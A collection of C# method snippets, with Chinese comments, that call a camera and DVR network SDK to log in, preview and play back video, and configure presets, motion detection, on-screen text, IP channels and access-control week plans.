private void PreSetSet_Click(object sender, EventArgs e) { while (comboBox1.Text != "") { if (textBoxPanPos1.Text == "" || textBoxTiltPos1.Text == "" || textBoxZoomPos1.Text == "" || PreSetName.Text == "") { MessageBox.Show("please input the Parameters"); return; } else { PreSetNo = comboBox1.Items.IndexOf(comboBox1.Text); m_struPreSetCfg[PreSetNo].byRes = new byte[58]; m_struPreSetCfg[PreSetNo].byRes1 = new byte[2]; Int32 nSize = Marshal.SizeOf(m_struPreSetCfg[PreSetNo]); IntPtr ptrPreSetCfg = Marshal.AllocHGlobal(nSize); m_struPreSetCfg[PreSetNo].dwSize = (uint)nSize; /*str1 = "dddd"; * m_struPreSetCfg[PreSetNo].byName = System.Text.Encoding.Default.GetBytes(str1);*/ /* m_struPreSetCfg[PreSetNo].byName = new byte[32]; * m_struPreSetCfg[PreSetNo].byName[0] = 100; * m_struPreSetCfg[PreSetNo].byName[1] = 100; * m_struPreSetCfg[PreSetNo].byName[2] = 100; * m_struPreSetCfg[PreSetNo].byName[3] = 100;*/ byte[] byName = System.Text.Encoding.Default.GetBytes(PreSetName.Text); m_struPreSetCfg[PreSetNo].byName = new byte[32]; byName.CopyTo(m_struPreSetCfg[PreSetNo].byName, 0); /* m_struPreSetCfg[PreSetNo].wPanPos = new UInt16(); * m_struPreSetCfg[PreSetNo].wPanPos = ushort.Parse(textBoxPanPos.Text); * /* m_struPreSetCfg[PreSetNo].wTiltPos = ushort.Parse(textBoxTiltPos.Text); * m_struPreSetCfg[PreSetNo].wZoomPos = ushort.Parse(textBoxZoomPos.Text);*/ /*for (i = 0; i < 32; i++) * { * m_struPreSetCfg[PreSetNo].byName[i] = byte.Parse(str); * }*/ Marshal.StructureToPtr(m_struPreSetCfg[PreSetNo], ptrPreSetCfg, false); //设置参数失败 if (!CHCNetSDK.NET_DVR_SetDVRConfig(m_lUserID, CHCNetSDK.NET_DVR_SET_PRESET_NAME, 1, ptrPreSetCfg, (UInt32)nSize)) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); str = "NET_DVR_SetDVRConfig failed, error code= " + iLastErr; MessageBox.Show(str); return; } else { m_struPreSetCfg[PreSetNo] = (CHCNetSDK.NET_DVR_PRESET_NAME)Marshal.PtrToStructure(ptrPreSetCfg, typeof(CHCNetSDK.NET_DVR_PRESET_NAME)); MessageBox.Show("设置成功"); } Marshal.FreeHGlobal(ptrPreSetCfg); return; } } MessageBox.Show("please input the PtrPreSetNo"); }
private void MotionDetect_Load(object sender, EventArgs e) { string str = ""; byte byCount; for (byCount = 1; byCount <= m_struDeviceInfo.byChanNum; byCount++) { str = String.Format("Camera {0}", byCount); treeViewRecordChan.Nodes.Add(str); //关联的录像通道 - 模拟通道 } for (byCount = 1; byCount <= m_struDeviceInfo.byIPChanNum; byCount++) { str = String.Format("IPCamera {0}", byCount); treeViewRecordIPChan.Nodes.Add(str);//关联的录像通道 - IP通道 } for (byCount = 1; byCount <= m_struDeviceInfo.byAlarmOutPortNum; byCount++) { str = String.Format("Alarm Out {0}", byCount);//关联的报警输出口 treeViewAlarmOut.Nodes.Add(str); } CHCNetSDK.NET_DVR_PREVIEWINFO struClientInfo = new CHCNetSDK.NET_DVR_PREVIEWINFO(); struClientInfo.lChannel = m_lChannel; //预览通道号 struClientInfo.dwStreamType = 0; //0-主码流,1-子码流,2-码流3,3-虚拟码流 struClientInfo.dwLinkMode = 0; //0- TCP方式,1- UDP方式,2- 多播方式,3- RTP方式,4-RTP/RTSP,5-RSTP/HTTP struClientInfo.hPlayWnd = MotionRealPlay.Handle; struClientInfo.bBlocked = true; m_lMotionPlayHandle = CHCNetSDK.NET_DVR_RealPlay_V40(m_lUserID, ref struClientInfo, null, IntPtr.Zero); if (m_lMotionPlayHandle < 0) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); strErr = "NET_DVR_RealPlay_V40 failed, error code= " + iLastErr; //预览失败,输出错误号 Failed to start live view and output the error code MessageBox.Show(strErr); } else { //注册画图回调 m_fMotionDraw = new CHCNetSDK.DRAWFUN(MotionDrawCallBack); CHCNetSDK.NET_DVR_RigisterDrawFun(m_lMotionPlayHandle, m_fMotionDraw, 0); } m_struMotionV40 = m_struPicCfgV40.struMotion; //是否处理移动侦测 if (m_struMotionV40.byEnableHandleMotion == 0) { checkBoxEnableMotion.Checked = false; } else { checkBoxEnableMotion.Checked = true; } if (m_struMotionV40.byEnableDisplay == 1) { checkBoxDisplay.Checked = true; } else { checkBoxDisplay.Checked = false; } //普通模式灵敏度 if (m_struMotionV40.byConfigurationMode == 0) { //获取移动侦测灵敏度 GetMotionSensitivityCurSel(m_struMotionV40.struMotionMode.struMotionSingleArea.byMotionSensitive); } comboBoxWeekday.SelectedIndex = 0; comboBoxWeekdayCopy.SelectedIndex = 0; //设置布防时间、触发录像通道、触发报警输出口 GetAlarmTimeWnd(); GetRecordChanWnd(); GetAlarmHandleWnd(); }
private void btnShowStringSet_Click(object sender, EventArgs e) { if (checkBoxOSD1.Checked) { m_struShowStrCfg.struStringInfo[0].wShowString = 1; } else { m_struShowStrCfg.struStringInfo[0].wShowString = 0; } m_struShowStrCfg.struStringInfo[0].sString = textBoxOSD1.Text; m_struShowStrCfg.struStringInfo[0].wStringSize = (ushort)textBoxOSD1.Text.Length; m_struShowStrCfg.struStringInfo[0].wShowStringTopLeftX = UInt16.Parse(textBoxOSD1X.Text); m_struShowStrCfg.struStringInfo[0].wShowStringTopLeftY = UInt16.Parse(textBoxOSD1Y.Text); if (checkBoxOSD2.Checked) { m_struShowStrCfg.struStringInfo[1].wShowString = 1; } else { m_struShowStrCfg.struStringInfo[1].wShowString = 0; } m_struShowStrCfg.struStringInfo[1].sString = textBoxOSD2.Text; m_struShowStrCfg.struStringInfo[1].wStringSize = (ushort)textBoxOSD2.Text.Length; m_struShowStrCfg.struStringInfo[1].wShowStringTopLeftX = UInt16.Parse(textBoxOSD2X.Text); m_struShowStrCfg.struStringInfo[1].wShowStringTopLeftY = UInt16.Parse(textBoxOSD2Y.Text); if (checkBoxOSD3.Checked) { m_struShowStrCfg.struStringInfo[2].wShowString = 1; } else { m_struShowStrCfg.struStringInfo[2].wShowString = 0; } m_struShowStrCfg.struStringInfo[2].sString = textBoxOSD3.Text; m_struShowStrCfg.struStringInfo[2].wStringSize = (ushort)textBoxOSD3.Text.Length; m_struShowStrCfg.struStringInfo[2].wShowStringTopLeftX = UInt16.Parse(textBoxOSD3X.Text); m_struShowStrCfg.struStringInfo[2].wShowStringTopLeftY = UInt16.Parse(textBoxOSD3Y.Text); if (checkBoxOSD4.Checked) { m_struShowStrCfg.struStringInfo[3].wShowString = 1; } else { m_struShowStrCfg.struStringInfo[3].wShowString = 0; } m_struShowStrCfg.struStringInfo[3].sString = textBoxOSD4.Text; m_struShowStrCfg.struStringInfo[3].wStringSize = (ushort)textBoxOSD4.Text.Length; m_struShowStrCfg.struStringInfo[3].wShowStringTopLeftX = UInt16.Parse(textBoxOSD4X.Text); m_struShowStrCfg.struStringInfo[3].wShowStringTopLeftY = UInt16.Parse(textBoxOSD4Y.Text); if (checkBoxOSD5.Checked) { m_struShowStrCfg.struStringInfo[4].wShowString = 1; } else { m_struShowStrCfg.struStringInfo[4].wShowString = 0; } m_struShowStrCfg.struStringInfo[4].sString = textBoxOSD5.Text; m_struShowStrCfg.struStringInfo[4].wStringSize = (ushort)textBoxOSD5.Text.Length; m_struShowStrCfg.struStringInfo[4].wShowStringTopLeftX = UInt16.Parse(textBoxOSD5X.Text); m_struShowStrCfg.struStringInfo[4].wShowStringTopLeftY = UInt16.Parse(textBoxOSD5Y.Text); if (checkBoxOSD6.Checked) { m_struShowStrCfg.struStringInfo[5].wShowString = 1; } else { m_struShowStrCfg.struStringInfo[5].wShowString = 0; } m_struShowStrCfg.struStringInfo[5].sString = textBoxOSD6.Text; m_struShowStrCfg.struStringInfo[5].wStringSize = (ushort)textBoxOSD6.Text.Length; m_struShowStrCfg.struStringInfo[5].wShowStringTopLeftX = UInt16.Parse(textBoxOSD6X.Text); m_struShowStrCfg.struStringInfo[5].wShowStringTopLeftY = UInt16.Parse(textBoxOSD6Y.Text); if (checkBoxOSD7.Checked) { m_struShowStrCfg.struStringInfo[6].wShowString = 1; } else { m_struShowStrCfg.struStringInfo[6].wShowString = 0; } m_struShowStrCfg.struStringInfo[6].sString = textBoxOSD7.Text; m_struShowStrCfg.struStringInfo[6].wStringSize = (ushort)textBoxOSD7.Text.Length; m_struShowStrCfg.struStringInfo[6].wShowStringTopLeftX = UInt16.Parse(textBoxOSD7X.Text); m_struShowStrCfg.struStringInfo[6].wShowStringTopLeftY = UInt16.Parse(textBoxOSD7Y.Text); if (checkBoxOSD8.Checked) { m_struShowStrCfg.struStringInfo[7].wShowString = 1; } else { m_struShowStrCfg.struStringInfo[7].wShowString = 0; } m_struShowStrCfg.struStringInfo[7].sString = textBoxOSD8.Text; m_struShowStrCfg.struStringInfo[7].wStringSize = (ushort)textBoxOSD8.Text.Length; m_struShowStrCfg.struStringInfo[7].wShowStringTopLeftX = UInt16.Parse(textBoxOSD8X.Text); m_struShowStrCfg.struStringInfo[7].wShowStringTopLeftY = UInt16.Parse(textBoxOSD8Y.Text); Int32 nSize = Marshal.SizeOf(m_struShowStrCfg); IntPtr ptrShowStrCfg = Marshal.AllocHGlobal(nSize); Marshal.StructureToPtr(m_struShowStrCfg, ptrShowStrCfg, false); if (!CHCNetSDK.NET_DVR_SetDVRConfig(m_lUserID, CHCNetSDK.NET_DVR_SET_SHOWSTRING_V30, m_lChannel, ptrShowStrCfg, (UInt32)nSize)) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); strErr = "NET_DVR_SET_SHOWSTRING_V30 failed, error code= " + iLastErr; //设置字符叠加参数失败,输出错误号 Failed to set overlay parameters and output the error code MessageBox.Show(strErr); } else { MessageBox.Show("设置图像参数成功!"); } Marshal.FreeHGlobal(ptrShowStrCfg); }
private void btnPlaybackTime_Click(object sender, EventArgs e) { if (m_lPlayHandle >= 0) { //如果已经正在回放,先停止回放 if (!CHCNetSDK.NET_DVR_StopPlayBack(m_lPlayHandle)) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); str = "NET_DVR_StopPlayBack failed, error code= " + iLastErr; MessageBox.Show(str); return; } m_bReverse = false; btnReverse.Text = "Reverse"; labelReverse.Text = "切换为倒放"; m_bPause = false; btnPause.Text = "||"; labelPause.Text = "暂停"; m_lPlayHandle = -1; PlaybackprogressBar.Value = 0; } CHCNetSDK.NET_DVR_VOD_PARA struVodPara = new CHCNetSDK.NET_DVR_VOD_PARA(); struVodPara.dwSize = (uint)Marshal.SizeOf(struVodPara); struVodPara.struIDInfo.dwChannel = (uint)iChannelNum[(int)iSelIndex]; //通道号 Channel number struVodPara.hWnd = VideoPlayWnd.Handle; //回放窗口句柄 //设置回放的开始时间 Set the starting time to search video files struVodPara.struBeginTime.dwYear = (uint)dateTimeStart.Value.Year; struVodPara.struBeginTime.dwMonth = (uint)dateTimeStart.Value.Month; struVodPara.struBeginTime.dwDay = (uint)dateTimeStart.Value.Day; struVodPara.struBeginTime.dwHour = (uint)dateTimeStart.Value.Hour; struVodPara.struBeginTime.dwMinute = (uint)dateTimeStart.Value.Minute; struVodPara.struBeginTime.dwSecond = (uint)dateTimeStart.Value.Second; //设置回放的结束时间 Set the stopping time to search video files struVodPara.struEndTime.dwYear = (uint)dateTimeEnd.Value.Year; struVodPara.struEndTime.dwMonth = (uint)dateTimeEnd.Value.Month; struVodPara.struEndTime.dwDay = (uint)dateTimeEnd.Value.Day; struVodPara.struEndTime.dwHour = (uint)dateTimeEnd.Value.Hour; struVodPara.struEndTime.dwMinute = (uint)dateTimeEnd.Value.Minute; struVodPara.struEndTime.dwSecond = (uint)dateTimeEnd.Value.Second; //按时间回放 Playback by time m_lPlayHandle = CHCNetSDK.NET_DVR_PlayBackByTime_V40(m_lUserID, ref struVodPara); if (m_lPlayHandle < 0) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); str = "NET_DVR_PlayBackByTime_V40 failed, error code= " + iLastErr; MessageBox.Show(str); return; } uint iOutValue = 0; if (!CHCNetSDK.NET_DVR_PlayBackControl_V40(m_lPlayHandle, CHCNetSDK.NET_DVR_PLAYSTART, IntPtr.Zero, 0, IntPtr.Zero, ref iOutValue)) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); str = "NET_DVR_PLAYSTART failed, error code= " + iLastErr; //回放控制失败,输出错误号 MessageBox.Show(str); return; } timerPlayback.Interval = 1000; timerPlayback.Enabled = true; btnStopPlayback.Enabled = true; }
public bool DoGetDeviceResoureCfg(int iDeviceIndex, int iGroupNO = 0) { int i = 0, j = 0; uint dwReturned = 0; int dwSize = 0; int iLoopTime = 0; if (g_deviceTree.g_struDeviceInfo[iDeviceIndex].iIPChanNum > 0) { if (g_deviceTree.g_struDeviceInfo[iDeviceIndex].iIPChanNum % (int)(CHCNetSDK.MAX_CHANNUM_V30) == 0) { iLoopTime = g_deviceTree.g_struDeviceInfo[iDeviceIndex].iIPChanNum / (int)(CHCNetSDK.MAX_CHANNUM_V30); } else { iLoopTime = g_deviceTree.g_struDeviceInfo[iDeviceIndex].iIPChanNum / (int)(CHCNetSDK.MAX_CHANNUM_V30) + 1; } } for (j = 0; j < iLoopTime; j++) { CHCNetSDK.NET_DVR_IPPARACFG_V40 struIPAccessCfgV40 = new CHCNetSDK.NET_DVR_IPPARACFG_V40(); iGroupNO = j; struIPAccessCfgV40 = g_deviceTree.g_struDeviceInfo[iDeviceIndex].pStruIPParaCfgV40[iGroupNO]; dwSize = Marshal.SizeOf(struIPAccessCfgV40); IntPtr ptrIPAccessCfgV40 = Marshal.AllocHGlobal(dwSize); Marshal.StructureToPtr(struIPAccessCfgV40, ptrIPAccessCfgV40, false); //2008-9-15 13:44 ip input configuration g_deviceTree.g_struDeviceInfo[iDeviceIndex].bIPRet = CHCNetSDK.NET_DVR_GetDVRConfig(g_deviceTree.g_struDeviceInfo[iDeviceIndex].lLoginID, CHCNetSDK.NET_DVR_GET_IPPARACFG_V40, iGroupNO, ptrIPAccessCfgV40, (uint)dwSize, ref dwReturned); if (!g_deviceTree.g_struDeviceInfo[iDeviceIndex].bIPRet) { ///device no support ip access g_deviceTree.g_struDeviceInfo[iDeviceIndex].lFirstEnableChanIndex = 0; g_formList.AddLog(iDeviceIndex, AcsDemoPublic.OPERATION_FAIL_T, "NET_DVR_GET_IPPARACFG_V40"); i = j + iGroupNO * CHCNetSDK.MAX_CHANNUM_V30; if (i < g_deviceTree.g_struDeviceInfo[iDeviceIndex].iAnalogChanNum) { g_deviceTree.g_struDeviceInfo[iDeviceIndex].pStruChanInfo[i].iDeviceIndex = iDeviceIndex; g_deviceTree.g_struDeviceInfo[iDeviceIndex].pStruChanInfo[i].iChanIndex = i; g_deviceTree.g_struDeviceInfo[iDeviceIndex].pStruChanInfo[i].iChannelNO = i + g_deviceTree.g_struDeviceInfo[iDeviceIndex].iStartChan; g_deviceTree.g_struDeviceInfo[iDeviceIndex].pStruChanInfo[i].bEnable = true; g_deviceTree.g_struDeviceInfo[iDeviceIndex].pStruChanInfo[i].iChanType = AcsDemoPublic.DEMO_CHANNEL_TYPE.DEMO_CHANNEL_TYPE_ANALOG; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].pStruChanInfo[i].chChanName = string.Format("Camera{0}", i + g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iStartChan);; } else//clear the state of other channel { g_deviceTree.g_struDeviceInfo[iDeviceIndex].pStruChanInfo[i].iDeviceIndex = -1; g_deviceTree.g_struDeviceInfo[iDeviceIndex].pStruChanInfo[i].iChanIndex = -1; g_deviceTree.g_struDeviceInfo[iDeviceIndex].pStruChanInfo[i].bEnable = false; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].pStruChanInfo[i].chChanName = ""; } g_deviceTree.g_struDeviceInfo[iDeviceIndex].iGroupNO = -1; } else { struIPAccessCfgV40 = (CHCNetSDK.NET_DVR_IPPARACFG_V40)Marshal.PtrToStructure(ptrIPAccessCfgV40, typeof(CHCNetSDK.NET_DVR_IPPARACFG_V40)); g_deviceTree.g_struDeviceInfo[iDeviceIndex].pStruIPParaCfgV40[iGroupNO] = struIPAccessCfgV40; g_deviceTree.g_struDeviceInfo[iDeviceIndex].iGroupNO = iGroupNO; g_formList.AddLog(iDeviceIndex, AcsDemoPublic.OPERATION_SUCC_T, "NET_DVR_GET_IPPARACFG_V40"); RefreshIPDevLocalCfg(iDeviceIndex); } Marshal.FreeHGlobal(ptrIPAccessCfgV40); } for (i = 0; i < g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iAnalogChanNum; i++) { g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].pStruChanInfo[i].iDeviceIndex = m_iDeviceIndex; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].pStruChanInfo[i].iChanIndex = i; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].pStruChanInfo[i].iChannelNO = i + g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iStartChan; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].pStruChanInfo[i].chChanName = string.Format("Camera{0}", i + g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iStartChan); g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].pStruChanInfo[i].bEnable = true; g_deviceTree.g_struDeviceInfo[iDeviceIndex].pStruChanInfo[i].iChanType = AcsDemoPublic.DEMO_CHANNEL_TYPE.DEMO_CHANNEL_TYPE_ANALOG; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].pStruChanInfo[i].dwImageType = AcsDemoPublic.CHAN_ORIGINAL; } if ((g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].byMirrorChanNum > 0) && (g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].wStartMirrorChanNo > (g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].iDeviceChanNum - 1))) { for (i = 0; i < g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].byMirrorChanNum && i < 16; i++) { g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].struMirrorChan[i].iDeviceIndex = m_iDeviceIndex; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].struMirrorChan[i].iChanIndex = i + AcsDemoPublic.MIRROR_CHAN_INDEX; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].struMirrorChan[i].iChannelNO = i + g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].wStartMirrorChanNo; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].struMirrorChan[i].chChanName = string.Format("MirrorChan{0}", i + 1); //analog devices g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].struMirrorChan[i].bEnable = true; g_deviceTree.g_struDeviceInfo[iDeviceIndex].pStruChanInfo[i].iChanType = AcsDemoPublic.DEMO_CHANNEL_TYPE.DEMO_CHANNEL_TYPE_IP; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].struMirrorChan[i].dwImageType = AcsDemoPublic.CHAN_ORIGINAL; } } if (g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].byZeroChanNum > 0) { for (i = 0; i < g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].byZeroChanNum; i++) { g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].struZeroChan[i].iDeviceIndex = m_iDeviceIndex; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].struZeroChan[i].iChanIndex = i + AcsDemoPublic.ZERO_CHAN_INDEX; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].struZeroChan[i].chChanName = string.Format("ZeroChan {0}", i); g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].struZeroChan[i].bEnable = true; g_deviceTree.g_struDeviceInfo[iDeviceIndex].pStruChanInfo[i].iChanType = AcsDemoPublic.DEMO_CHANNEL_TYPE.DEMO_CHANNEL_TYPE_MIRROR; g_deviceTree.g_struDeviceInfo[m_iDeviceIndex].struZeroChan[i].dwImageType = AcsDemoPublic.CHAN_ORIGINAL; } } return(g_deviceTree.g_struDeviceInfo[iDeviceIndex].bIPRet); }
private void btnGet_Click(object sender, EventArgs e) { uint dwCommand = 0; string[] strCommand = { "NET_DVR_GET_CARD_RIGHT_WEEK_PLAN_V50", "NET_DVR_GET_VERIFY_WEEK_PLAN", "NET_DVR_GET_WEEK_PLAN_CFG" }; int weekPlanNumberWPIndex = 0; uint dwReturned = 0; string strTemp = null; uint dwSize = (uint)Marshal.SizeOf(m_struPlanCfg); m_struPlanCfg.dwSize = dwSize; IntPtr ptrPlanCfg = Marshal.AllocHGlobal((int)dwSize); Marshal.StructureToPtr(m_struPlanCfg, ptrPlanCfg, false); switch (cbDeviceType.SelectedIndex) { case 0: dwCommand = (uint)CHCNetSDK.NET_DVR_GET_CARD_RIGHT_WEEK_PLAN_V50; uint dwConSize = (uint)Marshal.SizeOf(m_struPlanCond); m_struPlanCond.dwSize = dwConSize; uint.TryParse(textBoxWPNumber.Text, out m_struPlanCond.dwWeekPlanNumber); ushort.TryParse(textBoxLCID.Text, out m_struPlanCond.wLocalControllerID); IntPtr ptrPlanCon = Marshal.AllocHGlobal((int)dwConSize); Marshal.StructureToPtr(m_struPlanCond, ptrPlanCon, false); IntPtr ptrDwReturned = Marshal.AllocHGlobal(4); if (!CHCNetSDK.NET_DVR_GetDeviceConfig(m_lUserID, dwCommand, 1, ptrPlanCon, dwConSize, ptrDwReturned, ptrPlanCfg, dwSize)) { Marshal.FreeHGlobal(ptrPlanCfg); Marshal.FreeHGlobal(ptrPlanCon); Marshal.FreeHGlobal(ptrDwReturned); strTemp = string.Format("{0} FAIL, ERROR CODE {1}", strCommand[cbDeviceType.SelectedIndex], CHCNetSDK.NET_DVR_GetLastError()); MessageBox.Show(strTemp); return; } else { dwReturned = (uint)Marshal.ReadInt32(ptrDwReturned); Marshal.FreeHGlobal(ptrDwReturned); Marshal.FreeHGlobal(ptrPlanCon); strTemp = string.Format("{0} Succ", strCommand[cbDeviceType.SelectedIndex]); MessageBox.Show(strTemp); } break; case 1: dwCommand = (uint)CHCNetSDK.NET_DVR_GET_VERIFY_WEEK_PLAN; int.TryParse(textBoxWPNumber.Text, out weekPlanNumberWPIndex); if (!CHCNetSDK.NET_DVR_GetDVRConfig(m_lUserID, dwCommand, weekPlanNumberWPIndex, ptrPlanCfg, dwSize, ref dwReturned)) { Marshal.FreeHGlobal(ptrPlanCfg); strTemp = string.Format("{0} FAIL, ERROR CODE {1}", strCommand[cbDeviceType.SelectedIndex], CHCNetSDK.NET_DVR_GetLastError()); MessageBox.Show(strTemp); return; } else { strTemp = string.Format("{0} Succ", strCommand[cbDeviceType.SelectedIndex]); MessageBox.Show(strTemp); } break; case 2: dwCommand = (uint)CHCNetSDK.NET_DVR_GET_WEEK_PLAN_CFG; int.TryParse(textBoxWPNumber.Text, out weekPlanNumberWPIndex); if (!CHCNetSDK.NET_DVR_GetDVRConfig(m_lUserID, dwCommand, weekPlanNumberWPIndex, ptrPlanCfg, dwSize, ref dwReturned)) { Marshal.FreeHGlobal(ptrPlanCfg); strTemp = string.Format("{0} FAIL, ERROR CODE {1}", strCommand[cbDeviceType.SelectedIndex], CHCNetSDK.NET_DVR_GetLastError()); MessageBox.Show(strTemp); return; } else { strTemp = string.Format("{0} Succ", strCommand[cbDeviceType.SelectedIndex]); MessageBox.Show(strTemp); } break; default: Marshal.FreeHGlobal(ptrPlanCfg); MessageBox.Show("unknown command"); return; } m_struPlanCfg = (CHCNetSDK.NET_DVR_WEEK_PLAN_CFG)Marshal.PtrToStructure(ptrPlanCfg, typeof(CHCNetSDK.NET_DVR_WEEK_PLAN_CFG)); cbDate.SelectedIndex = 0; UpdateList(); if (1 == m_struPlanCfg.byEnable) { checkBoxEnableWP.Checked = true; } else { checkBoxEnableWP.Checked = false; } Marshal.FreeHGlobal(ptrPlanCfg); }
public void InfoIPChannel() { uint dwSize = (uint)Marshal.SizeOf(m_struIpParaCfgV40); IntPtr ptrIpParaCfgV40 = Marshal.AllocHGlobal((Int32)dwSize); Marshal.StructureToPtr(m_struIpParaCfgV40, ptrIpParaCfgV40, false); uint dwReturn = 0; int iGroupNo = 0; //该Demo仅获取第一组64个通道,如果设备IP通道大于64路,需要按组号0~i多次调用NET_DVR_GET_IPPARACFG_V40获取 if (!CHCNetSDK.NET_DVR_GetDVRConfig(m_lUserID, CHCNetSDK.NET_DVR_GET_IPPARACFG_V40, iGroupNo, ptrIpParaCfgV40, dwSize, ref dwReturn)) { iLastErr = CHCNetSDK.NET_DVR_GetLastError(); str1 = "NET_DVR_GET_IPPARACFG_V40 failed, error code= " + iLastErr; //获取IP资源配置信息失败,输出错误号 MessageBox.Show(str1); } else { // succ m_struIpParaCfgV40 = (CHCNetSDK.NET_DVR_IPPARACFG_V40)Marshal.PtrToStructure(ptrIpParaCfgV40, typeof(CHCNetSDK.NET_DVR_IPPARACFG_V40)); for (i = 0; i < dwAChanTotalNum; i++) { ListAnalogChannel(i + 1, m_struIpParaCfgV40.byAnalogChanEnable[i]); iChannelNum[i] = i + (int)DeviceInfo.byStartChan; } byte byStreamType; uint iDChanNum = 64; if (dwDChanTotalNum < 64) { iDChanNum = dwDChanTotalNum; //如果设备IP通道小于64路,按实际路数获取 } for (i = 0; i < iDChanNum; i++) { iChannelNum[i + dwAChanTotalNum] = i + (int)m_struIpParaCfgV40.dwStartDChan; byStreamType = m_struIpParaCfgV40.struStreamMode[i].byGetStreamType; m_unionGetStream = m_struIpParaCfgV40.struStreamMode[i].uGetStream; switch (byStreamType) { //目前NVR仅支持0- 直接从设备取流一种方式 case 0: dwSize = (uint)Marshal.SizeOf(m_unionGetStream); IntPtr ptrChanInfo = Marshal.AllocHGlobal((Int32)dwSize); Marshal.StructureToPtr(m_unionGetStream, ptrChanInfo, false); m_struChanInfo = (CHCNetSDK.NET_DVR_IPCHANINFO)Marshal.PtrToStructure(ptrChanInfo, typeof(CHCNetSDK.NET_DVR_IPCHANINFO)); //列出IP通道 ListIPChannel(i + 1, m_struChanInfo.byEnable, m_struChanInfo.byIPID); Marshal.FreeHGlobal(ptrChanInfo); break; default: break; } } } Marshal.FreeHGlobal(ptrIpParaCfgV40); }
/// <summary> /// 释放SDK资源 /// </summary> /// <returns>true:释放成功 false:释放失败</returns> public override bool Cleanup() { bool result = CHCNetSDK.NET_DVR_Cleanup(); return(result); }
/// <summary> /// 获取错误码 /// </summary> /// <returns>错误码</returns> public override uint GetLastError() { uint result = CHCNetSDK.NET_DVR_GetLastError(); return(result); }
//static Task task = null; public int Play(string device_ip, string device_username, string device_password, string device_port, string key) { try { //if (ps_data_callback == null) //{ // return "未设置数据回调的实体"; //} CHCNetSDK.NET_DVR_SetLogToFile(0, "", true); CHCNetSDK.NET_DVR_USER_LOGIN_INFO struLogInfo = new CHCNetSDK.NET_DVR_USER_LOGIN_INFO(); //设备IP地址或者域名 byte[] byIP = System.Text.Encoding.Default.GetBytes(device_ip); struLogInfo.sDeviceAddress = new byte[129]; byIP.CopyTo(struLogInfo.sDeviceAddress, 0); //设备用户名 byte[] byUserName = System.Text.Encoding.Default.GetBytes(device_username); struLogInfo.sUserName = new byte[64]; byUserName.CopyTo(struLogInfo.sUserName, 0); //设备密码 byte[] byPassword = System.Text.Encoding.Default.GetBytes(device_password); struLogInfo.sPassword = new byte[64]; byPassword.CopyTo(struLogInfo.sPassword, 0); struLogInfo.wPort = ushort.Parse(device_port);//设备服务端口号 CHCNetSDK.NET_DVR_DEVICEINFO_V40 DeviceInfo = new CHCNetSDK.NET_DVR_DEVICEINFO_V40(); int m_lUserID = CHCNetSDK.NET_DVR_Login_V40(ref struLogInfo, ref DeviceInfo); if (m_lUserID == -1) { uint err = CHCNetSDK.NET_DVR_GetLastError(); } if (RealData == null) { RealData = new CHCNetSDK.REALDATACALLBACK(RealDataCallBack);//预览实时流回调函数 } IntPtr pUser = Marshal.StringToBSTR(key); //if (task == null) //{ // task = Task.Factory.StartNew(HIKDataInput); //} //Task task = Task.Factory.StartNew(HIKDataInput); CHCNetSDK.NET_DVR_PREVIEWINFO lpPreviewInfo = new CHCNetSDK.NET_DVR_PREVIEWINFO(); lpPreviewInfo.lChannel = 1; //预te览的设备通道 lpPreviewInfo.dwStreamType = 0; //码流类型:0-主码流,1-子码流,2-码流3,3-码流4,以此类推 lpPreviewInfo.dwLinkMode = 0; //连接方式:0- TCP方式,1- UDP方式,2- 多播方式,3- RTP方式,4-RTP/RTSP,5-RSTP/HTTP lpPreviewInfo.bBlocked = true; //0- 非阻塞取流,1- 阻塞取流 lpPreviewInfo.dwDisplayBufNum = 1; //播放库播放缓冲区最大缓冲帧数 lpPreviewInfo.byProtoType = 0; lpPreviewInfo.byPreviewMode = 0; if (!dic_cache.ContainsKey(key)) { dic_cache.Add(key, new List <byte>()); } int m_lRealHandle = CHCNetSDK.NET_DVR_RealPlay_V40(m_lUserID, ref lpPreviewInfo, /*null*/ RealData, pUser); if (m_lRealHandle < 0)//播放失败 { LogHelper.Print("播放失败:" + m_lRealHandle); } else { } return(m_lRealHandle); } catch (Exception ex) { return(-2); } }
/// <summary> /// 用户注销 /// </summary> /// <param name="loginId">用户ID值,从HikVisionLogin获取</param> /// <returns>true:注销成功 false:注销失败</returns> public override bool LogOut(DeviceInfo deviceInfo) { bool result = CHCNetSDK.NET_DVR_Logout(deviceInfo.loginId); return(result); }
//private static Api_HIK _instance; //public static Api_HIK Instance //{ // get // { // if (_instance == null) // { // _instance = new Api_HIK(); // } // return _instance; // } //} //PSDATACALLBACK ps_data_callback = null; //private string key; public Api_HIK() { bool m_bInitSDK = CHCNetSDK.NET_DVR_Init(); }
